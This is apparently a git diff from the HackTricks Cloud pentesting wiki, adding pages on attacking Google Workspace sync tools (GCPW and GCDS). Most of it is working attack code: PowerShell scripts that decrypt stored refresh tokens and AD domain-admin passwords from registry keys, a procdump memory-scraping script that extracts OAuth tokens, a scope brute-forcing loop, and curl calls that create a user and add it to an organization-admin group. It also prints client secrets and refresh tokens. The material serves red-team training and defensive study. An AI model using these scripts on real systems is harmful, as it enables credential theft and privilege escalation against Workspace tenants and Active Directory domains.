-https://www.googleapis.com/auth/photos -https://www.googleapis.com/auth/photos.firstparty.readonly -https://www.googleapis.com/auth/photos.image.readonly -https://www.googleapis.com/auth/profile.language.read -https://www.googleapis.com/auth/secureidentity.action -https://www.googleapis.com/auth/spreadsheets -https://www.googleapis.com/auth/supportcontent -https://www.googleapis.com/auth/tachyon -https://www.googleapis.com/auth/tasks -https://www.googleapis.com/auth/tasks.readonly -https://www.googleapis.com/auth/userinfo.email -https://www.googleapis.com/auth/userinfo.profile -https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ') - -curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ - --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ - --data "grant_type=refresh_token" \ - --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ - --data "scope=$scope" \ - https://www.googleapis.com/oauth2/v4/token -``` - -
- -Some examples using some of those scopes: - -
- -https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile - -```bash -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/oauth2/v2/userinfo" - -{ - "id": "100203736939176354570", - "email": "hacktricks@example.com", - "verified_email": true, - "name": "John Smith", - "given_name": "John", - "family_name": "Smith", - "picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c", - "locale": "en", - "hd": "example.com" -} -``` - -
- -
- -https://www.googleapis.com/auth/admin.directory.user - -```bash -# List users -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/admin/directory/v1/users?customer=&maxResults=100&orderBy=email" - -# Create user -curl -X POST \ - -H "Authorization: Bearer $access_token" \ - -H "Content-Type: application/json" \ - -d '{ - "primaryEmail": "newuser@hdomain.com", - "name": { - "givenName": "New", - "familyName": "User" - }, - "password": "UserPassword123", - "changePasswordAtNextLogin": true - }' \ - "https://www.googleapis.com/admin/directory/v1/users" -``` - -
- -
- -https://www.googleapis.com/auth/drive - -```bash -# List files -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name" -{ - "files": [ - { - "id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq", - "name": "Veeam new vendor form 1 2024.docx", - "modifiedTime": "2024-08-30T09:25:35.219Z" - } - ] -} - -# Download file -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/drive/v3/files/?alt=media" \ - -o "DownloadedFileName.ext" - -# Upload file -curl -X POST \ - -H "Authorization: Bearer $access_token" \ - -H "Content-Type: application/octet-stream" \ - --data-binary @path/to/file.ext \ - "https://www.googleapis.com/upload/drive/v3/files?uploadType=media" -``` - -
- -
- -https://www.googleapis.com/auth/devstorage.read_write - -```bash -# List buckets from a project -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/storage/v1/b?project=" - -# List objects in a bucket -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/storage/v1/b//o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name" - -# Upload file to bucket -curl -X POST \ - -H "Authorization: Bearer $access_token" \ - -H "Content-Type: application/octet-stream" \ - --data-binary @path/to/yourfile.ext \ - "https://www.googleapis.com/upload/storage/v1/b//o?uploadType=media&name=" - -# Download file from bucket -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \ - -o "DownloadedFileName.ext" -``` - -
- -
- -https://www.googleapis.com/auth/spreadsheets - -```bash -# List spreadsheets -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100" - -# Download as pdf -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \ - -o "Spreadsheet.pdf" - -# Create spreadsheet -curl -X POST \ - -H "Authorization: Bearer $access_token" \ - -H "Content-Type: application/json" \ - -d '{ - "properties": { - "title": "New Spreadsheet" - } - }' \ - "https://sheets.googleapis.com/v4/spreadsheets" - -# Read data from a spreadsheet -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://sheets.googleapis.com/v4/spreadsheets//values/Sheet1!A1:C10" - -# Update data in spreadsheet -curl -X PUT \ - -H "Authorization: Bearer $access_token" \ - -H "Content-Type: application/json" \ - -d '{ - "range": "Sheet1!A2:C2", - "majorDimension": "ROWS", - "values": [ - ["Alice Johnson", "28", "alice.johnson@example.com"] - ] - }' \ - "https://sheets.googleapis.com/v4/spreadsheets//values/Sheet1!A2:C2?valueInputOption=USER_ENTERED" - -# Append data -curl -X POST \ - -H "Authorization: Bearer $access_token" \ - -H "Content-Type: application/json" \ - -d '{ - "values": [ - ["Bob Williams", "35", "bob.williams@example.com"] - ] - }' \ - "https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED" -``` - -
- -
- -https://www.googleapis.com/auth/ediscovery (Google Vault) - -**Google Workspace Vault** is an add-on for Google Workspace that provides tools for data retention, search, and export for your organization's data stored in Google Workspace services like Gmail, Drive, Chat, and more. - -* A **Matter** in Google Workspace Vault is a **container** that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing **Holds**, **Searches**, and **Exports** pertaining to that particular issue. -* A **Hold** in Google Workspace Vault is a **preservation action** applied to specific users or groups to **prevent the deletion or alteration** of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation. - -```bash -# List matters -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://vault.googleapis.com/v1/matters?pageSize=10" - -# Create matter -curl -X POST \ - -H "Authorization: Bearer $access_token" \ - -H "Content-Type: application/json" \ - -d '{ - "name": "Legal Case 2024", - "description": "Matter for the upcoming legal case involving XYZ Corp.", - "state": "OPEN" - }' \ - "https://vault.googleapis.com/v1/matters" - -# Get specific matter -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://vault.googleapis.com/v1/matters/" - -# List holds in a matter -curl -X GET \ - -H "Authorization: Bearer $access_token" \ - "https://vault.googleapis.com/v1/matters//holds?pageSize=10" -``` - -More [API endpoints in the docs](https://developers.google.com/vault/reference/rest). - -
- -## GCDS - Google Cloud Directory Sync - -This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing). - -It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time. - -{% hint style="info" %} -To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`** -{% endhint %} - -### GCDS - Disk Tokens & AD Credentials - -The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**. - -Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**. - -The most interesting information inside the file would be: - -```xml -[...] -OAUTH2 -rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA== - -https://www.google.com/m8/feeds/ -https://www.googleapis.com/auth/admin.directory.group -https://www.googleapis.com/auth/admin.directory.orgunit -https://www.googleapis.com/auth/admin.directory.resource.calendar -https://www.googleapis.com/auth/admin.directory.user -https://www.googleapis.com/auth/admin.directory.userschema -https://www.googleapis.com/auth/apps.groups.settings -https://www.googleapis.com/auth/apps.licensing -https://www.googleapis.com/auth/plus.me - -[...] -192.168.10.23 -389 -dc=hacktricks,dc=local -SIMPLE -DOMAIN\domain-admin -XMmsPMGxz7nkpChpC7h2ag== -[...] -``` - -Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64. - -
- -Powershell script to decrypt the refresh token and the password - -```powershell -# Paths and key names -$xmlConfigPath = "C:\Users\c\Documents\conf.xml" -$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" -$ivKeyName = "/Encryption/Policy/V2.iv" -$keyKeyName = "/Encryption/Policy/V2.key" - -# Open the registry key -try { - $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) - if (-not $regKey) { - Throw "Registry key not found: HKCU\$regPath" - } -} -catch { - Write-Error "Failed to open registry key: $_" - exit -} - -# Get Base64-encoded IV and Key from the registry -try { - $ivBase64 = $regKey.GetValue($ivKeyName) - $ivBase64 = $ivBase64 -replace '/', '' - $ivBase64 = $ivBase64 -replace '\\', '/' - if (-not $ivBase64) { - Throw "IV not found in registry" - } - $keyBase64 = $regKey.GetValue($keyKeyName) - $keyBase64 = $keyBase64 -replace '/', '' - $keyBase64 = $keyBase64 -replace '\\', '/' - if (-not $keyBase64) { - Throw "Key not found in registry" - } -} -catch { - Write-Error "Failed to read registry values: $_" - exit -} -$regKey.Close() - - -# Decode Base64 IV and Key -$ivBytes = [Convert]::FromBase64String($ivBase64) -$keyBytes = [Convert]::FromBase64String($keyBase64) - -# Read XML content -$xmlContent = Get-Content -Path $xmlConfigPath -Raw - -# Extract Base64-encoded encrypted values using regex -$refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") -$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value - -$encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") -$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value - -# Decode encrypted values from Base64 -$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) -$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64) - -# Function to decrypt data using AES CBC -Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { - $aes = [System.Security.Cryptography.Aes]::Create() - $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC - $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 - $aes.KeySize = 256 - $aes.BlockSize = 128 - $aes.Key = $keyBytes - $aes.IV = $ivBytes - - $decryptor = $aes.CreateDecryptor() - $memoryStream = New-Object System.IO.MemoryStream - $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) - $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) - $cryptoStream.FlushFinalBlock() - $plaintextBytes = $memoryStream.ToArray() - - $cryptoStream.Close() - $memoryStream.Close() - - return $plaintextBytes -} - -# Decrypt the values -$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes -$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes) - -$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes -$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes) - -# Output the decrypted values -Write-Host "Decrypted Refresh Token: $refreshToken" -Write-Host "Decrypted Password: $decryptedPassword" -``` - -
- -{% hint style="info" %} -Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys). -{% endhint %} - -Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info. - -### GCDS - Dumping tokens from memory - -Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\ -I guess you could also find the AD configured credentials. - -
- -Dump config-manager.exe processes and search tokens - -```powershell -# Define paths for Procdump and Strings utilities -$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" -$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" -$dumpFolder = "C:\Users\Public\dumps" - -# Regular expressions for tokens -$tokenRegexes = @( - "ya29\.[a-zA-Z0-9_\.\-]{50,}", - "1//[a-zA-Z0-9_\.\-]{50,}" -) - -# Show EULA if it wasn't accepted yet for strings -$stringsPath - -# Create a directory for the dumps if it doesn't exist -if (!(Test-Path $dumpFolder)) { - New-Item -Path $dumpFolder -ItemType Directory -} - -# Get all Chrome process IDs -$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id - -# Dump each Chrome process -foreach ($processId in $chromeProcesses) { - Write-Output "Dumping process with PID: $processId" - & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" -} - -# Extract strings and search for tokens in each dump -Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { - $dumpFile = $_.FullName - $baseName = $_.BaseName - $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt" - $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt" - - Write-Output "Extracting strings from $dumpFile" - & $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile - & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile - - $outputFiles = @($asciiStringsFile, $unicodeStringsFile) - - foreach ($file in $outputFiles) { - foreach ($regex in $tokenRegexes) { - - $matches = Select-String -Path $file -Pattern $regex -AllMatches - - $uniqueMatches = @{} - - foreach ($matchInfo in $matches) { - foreach ($match in $matchInfo.Matches) { - $matchValue = $match.Value - if (-not $uniqueMatches.ContainsKey($matchValue)) { - $uniqueMatches[$matchValue] = @{ - LineNumber = $matchInfo.LineNumber - LineText = $matchInfo.Line.Trim() - FilePath = $matchInfo.Path - } - } - } - } - - foreach ($matchValue in $uniqueMatches.Keys) { - $info = $uniqueMatches[$matchValue] - Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" - } - } - - Write-Output "" - } -} - -Remove-Item -Path $dumpFolder -Recurse -Force -``` - -
- -### GCDS - Generating access tokens from refresh tokens - -Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command: - -```bash -curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ - --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ - --data "grant_type=refresh_token" \ - --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ - https://www.googleapis.com/oauth2/v4/token -``` - -### GCDS - Scopes - -{% hint style="info" %} -Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**. - -Also, the refresh token is not valid in every application. -{% endhint %} - -By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`: - -
- -Bash script to brute-force scopes - -```bash -curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do - echo -ne "Testing $scope \r" - if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ - --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ - --data "grant_type=refresh_token" \ - --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ - --data "scope=$scope" \ - https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then - echo "" - echo $scope - echo $scope >> /tmp/valid_scopes.txt - fi -done - -echo "" -echo "" -echo "Valid scopes:" -cat /tmp/valid_scopes.txt -rm /tmp/valid_scopes.txt -``` - -
- -And this is the output I got at the time of the writing: - -``` -https://www.googleapis.com/auth/admin.directory.group -https://www.googleapis.com/auth/admin.directory.orgunit -https://www.googleapis.com/auth/admin.directory.resource.calendar -https://www.googleapis.com/auth/admin.directory.user -https://www.googleapis.com/auth/admin.directory.userschema -https://www.googleapis.com/auth/apps.groups.settings -https://www.googleapis.com/auth/apps.licensing -https://www.googleapis.com/auth/contacts -``` - -#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP - -```bash -# Create new user -curl -X POST \ - 'https://admin.googleapis.com/admin/directory/v1/users' \ - -H 'Authorization: Bearer ' \ - -H 'Content-Type: application/json' \ - -d '{ - "primaryEmail": "deleteme@domain.com", - "name": { - "givenName": "Delete", - "familyName": "Me" - }, - "password": "P4ssw0rdStr0ng!", - "changePasswordAtNextLogin": false - }' - -# Add to group -curl -X POST \ - 'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \ - -H 'Authorization: Bearer ' \ - -H 'Content-Type: application/json' \ - -d '{ - "email": "deleteme@domain.com", - "role": "OWNER" - }' -``` - -{% hint style="danger" %} -It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges. -{% endhint %} - -## References +### References * [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1) * [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) -* [https://www.youtube.com/watch?v=FEQxHRRP\_5I](https://www.youtube.com/watch?v=FEQxHRRP\_5I) -* [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md index a72f4b1f22..862618a690 100644 --- a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md +++ b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md @@ -146,7 +146,7 @@ Check **more enumeration in**: [gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md) {% endcontent-ref %} -### Abusing Gcloud +### Abusing Gcloud credentials You can find further information about the `gcloud` flow to login in: @@ -154,7 +154,7 @@ You can find further information about the `gcloud` flow to login in: [gcp-non-svc-persistance.md](../gcp-persistence/gcp-non-svc-persistance.md) {% endcontent-ref %} -As explained there, gcloud can request the scope `https://www.googleapis.com/auth/drive` which would allow a user to access the drive of the user.\ +As explained there, gcloud can request the scope **`https://www.googleapis.com/auth/drive`** which would allow a user to access the drive of the user.\ As an attacker, if you have compromised **physically** the computer of a user and the **user is still logged** with his account you could login generating a token with access to drive using: ```bash diff --git a/pentesting-cloud/workspace-security/README.md b/pentesting-cloud/workspace-security/README.md index 047cec326a..08ea471f41 100644 --- a/pentesting-cloud/workspace-security/README.md +++ b/pentesting-cloud/workspace-security/README.md @@ -39,10 +39,22 @@ If you have compromised some credentials or the session of the user you can perf ### GWS <-->GCP Pivoting +Read more about the different techniques to pivot between GWS and GCP in: + {% content-ref url="../gcp-security/gcp-to-workspace-pivoting/" %} [gcp-to-workspace-pivoting](../gcp-security/gcp-to-workspace-pivoting/) {% endcontent-ref %} +## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID) + +* **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC. +* **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time. +* **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories). + +{% content-ref url="gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md" %} +[gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md](gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md) +{% endcontent-ref %} + ## Persistence If you have compromised some credentials or the session of the user check these options to maintain persistence over it: diff --git a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md b/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md new file mode 100644 index 0000000000..15a7121cbf --- /dev/null +++ b/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-directory-sync-with-ad-and-entraid.md @@ -0,0 +1,1364 @@ +# GWS - Workspace Sync Attacks (GCPW, GCDS, Directory Sync with AD & EntraID) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## GCPW - Google Credential Provider for Windows + +This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store tokens to access Google Workspace in some places in the PC. + +{% hint style="success" %} +Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**. +{% endhint %} + +### GCPW - MitM + +When a user access a Windows PC synchronized with Google Workspace via GCPW it will need to complete a common login form. This login form will return an OAuth code that the PC will exchange for the refresh token in a request like: + +{% code overflow="wrap" %} +```http +POST /oauth2/v4/token HTTP/2 +Host: www.googleapis.com +Content-Length: 311 +Content-Type: application/x-www-form-urlencoded +[...headers...] + +scope=https://www.google.com/accounts/OAuthLogin +&grant_type=authorization_code +&client_id=77185425430.apps.googleusercontent.com +&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT +&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw +&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f +&device_type=chrome +``` +{% endcode %} + +New lines have been added to make it more readable. + +{% hint style="info" %} +It was possible to perform a MitM by installing `Proxifier` in the PC, overwriting the `utilman.exe` binary with a `cmd.exe` and executing the **accessibility features** in the Windows login page, which will execute a **CMD** from which you can **launch and configure the Proxifier**.\ +Don't forget to **block QUICK UDP** traffic in `Proxifier` so it downgrades to TCP communication and you can see it. + +Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows. +{% endhint %} + +Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** it's possible to make it store some logs. + +### GCPW - Fingerprint + +It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist: + +```powershell +# Check process gcpw_extension.exe +if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { + Write-Output "The process gcpw_xtension.exe is running." +} else { + Write-Output "The process gcpw_xtension.exe is not running." +} + +# Check if HKLM\SOFTWARE\Google\GCPW\Users exists +$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users" +if (Test-Path $gcpwHKLMPath) { + Write-Output "GCPW is installed: The key $gcpwHKLMPath exists." +} else { + Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist." +} + +# Check if HKCU\SOFTWARE\Google\Accounts exists +$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts" +if (Test-Path $gcpwHKCUPath) { + Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists." +} else { + Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." +} +``` + +In **`HKCU:\SOFTWARE\Google\Accounts`** it's possible to access the email of the user and the encrypted **refresh token** if the user recently logged in. + +In **`HKLM:\SOFTWARE\Google\GCPW\Users`** it's possible to find the **domains** that are allowed to login in the key `domains_allowed` and in subkeys it's possible to find information about the user like email, pic, user name, token lifetimes, token handle... + +{% hint style="info" %} +The token handle is a token that starts with `eth.` and from which can be extracted some info with a request like: + +{% code overflow="wrap" %} +```bash +curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ + -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg' +# Example response +{ + "audience": "77185425430.apps.googleusercontent.com", + "scope": "https://www.google.com/accounts/OAuthLogin", + "expires_in": 12880152 +} +``` +{% endcode %} + +Also it's possible to find the token handle of an access token with a request like: + +{% code overflow="wrap" %} +```bash +curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ + -d 'access_token=' +# Example response +{ + "issued_to": "77185425430.apps.googleusercontent.com", + "audience": "77185425430.apps.googleusercontent.com", + "scope": "https://www.google.com/accounts/OAuthLogin", + "expires_in": 1327, + "access_type": "offline", + "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg" +} +``` +{% endcode %} + +Afaik it's not possible obtain a refresh token or access token from the token handle. +{% endhint %} + +Moreover, the file **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** is a json containing the information of different **settings** like `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (if several users from Workspace can login in the computer) and `validityPeriodDays` (number of days a user doesn't need to reauthenticate with Google directly). + +### GCPW - Registry Refresh Tokens + +Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to find some accounts with the **`refresh_token`** encrypted inside. The method **`ProtectedData.Unprotect`** can easily decrypt it. + +
+ +Get HKCU:\SOFTWARE\Google\Accounts data and decrypt refresh_tokens + +```powershell +# Import required namespace for decryption +Add-Type -AssemblyName System.Security + +# Base registry path +$baseKey = "HKCU:\SOFTWARE\Google\Accounts" + +# Function to search and decrypt refresh_token values +function Get-RegistryKeysAndDecryptTokens { + param ( + [string]$keyPath + ) + + # Get all values within the current key + $registryKey = Get-Item -Path $keyPath + $foundToken = $false + + # Loop through properties to find refresh_token + foreach ($property in $registryKey.Property) { + if ($property -eq "refresh_token") { + $foundToken = $true + try { + # Get the raw bytes of the refresh_token from the registry + $encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property + + # Decrypt the bytes using ProtectedData.Unprotect + $decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) + $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes) + + Write-Output "Path: $keyPath" + Write-Output "Decrypted refresh_token: $decryptedToken" + Write-Output "-----------------------------" + } + catch { + Write-Output "Path: $keyPath" + Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" + Write-Output "-----------------------------" + } + } + } + + # Recursively process all subkeys + Get-ChildItem -Path $keyPath | ForEach-Object { + Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath + } +} + +# Start the search from the base key +Get-RegistryKeysAndDecryptTokens -keyPath $baseKey +``` + +
